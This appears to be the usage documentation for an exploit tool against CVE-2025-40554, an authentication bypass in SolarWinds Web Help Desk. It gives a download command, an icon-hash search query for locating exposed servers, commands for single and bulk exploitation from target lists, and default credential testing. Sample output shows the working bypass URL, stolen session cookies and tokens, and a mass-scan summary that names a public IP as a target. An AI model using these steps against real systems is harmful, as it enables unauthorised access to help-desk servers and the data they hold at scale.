# Clone or download the script
wget https://raw.githubusercontent.com/username/repo/main/CVE-2025-40554.py

# Make executable
chmod +x CVE-2025-40554.py

("Web Help Desk") && (icon_hash="1895809524" || icon_hash="804130677")

# Simple vulnerability check
python3 CVE-2025-40554.py -t https://target:8443

# With explicit protocol
python3 CVE-2025-40554.py -t https://203.106.221.203:8443

# Complete exploitation with session enumeration
python3 CVE-2025-40554.py -t https://target:8443 --exploit

# Skip default credential testing
python3 CVE-2025-40554.py -t https://target:8443 --exploit --no-login

# Scan multiple targets from file
python3 CVE-2025-40554.py -l targets.txt

# Bulk scan with exploitation
python3 CVE-2025-40554.py -l targets.txt --exploit

# Quiet mode (minimal output)
python3 CVE-2025-40554.py -l targets.txt -q

# Custom output file
python3 CVE-2025-40554.py -l targets.txt -o results.txt

https://target1:8443
https://target2.example.com:8443
192.168.1.100:8443
target3.local:8443
# Comments are supported

╔═══════════════════════════════════════════════════════════════════╗
║     CVE-2025-40554 - SolarWinds Web Help Desk                    ║
║     Authentication Bypass Exploitation Tool                       ║
║     Research & Educational Purposes Only                          ║
╚═══════════════════════════════════════════════════════════════════╝

======================================================================
Target: https://203.106.221.203:8443
======================================================================
[*] Step 1: Establishing session...
[+] WOSID extracted: AbCdEfGhIjKlMnOpQrStU
[+] XSRF token: abc123-def456-ghi789

[*] Step 2: Testing authentication bypass...
[+] Found bypass indicators: externalAuthContainer, JSONRpcClient, SAML 2.0
[+] VULNERABLE - Auth bypass confirmed!

[*] Step 3: Testing default credentials (client/client)...
[+] SUCCESS - Default credentials work!

======================================================================
EXPLOITATION MODE - CVE-2025-40554 Auth Bypass
======================================================================

[*] Bypass URL: https://203.106.221.203:8443/helpdesk/WebObjects/Helpdesk.woa/wo/bogus.wo/AbCdEfGhIjKlMnOpQrStU/1.0?badparam=/ajax/&wopage=LoginPref
[*] Triggering authentication bypass...
[+] Auth bypass successful!

[*] Session Cookies:
  wosid = AbCdEfGhIjKlMnOpQrStU
  XSRF-TOKEN = abc123-def456-ghi789

======================================================================
SUMMARY
======================================================================
[+] Target is VULNERABLE to CVE-2025-40554
[+] Default credentials: WORK
======================================================================

[*] Loaded 5 unique targets from targets.txt
[*] Mode: Bypass + default credential test
[*] Full exploitation enabled

[1/5] Testing https://target1:8443
[+] VULNERABLE - Auth bypass confirmed!
[+] SUCCESS - Default credentials work!

[2/5] Testing https://target2:8443
[!] NOT VULNERABLE - Auth bypass failed

...

======================================================================
SCAN SUMMARY
======================================================================
Total scanned:     5/5
Vulnerable:        2
With def. creds:   1
======================================================================

[+] Results saved to: vulnerable_targets.txt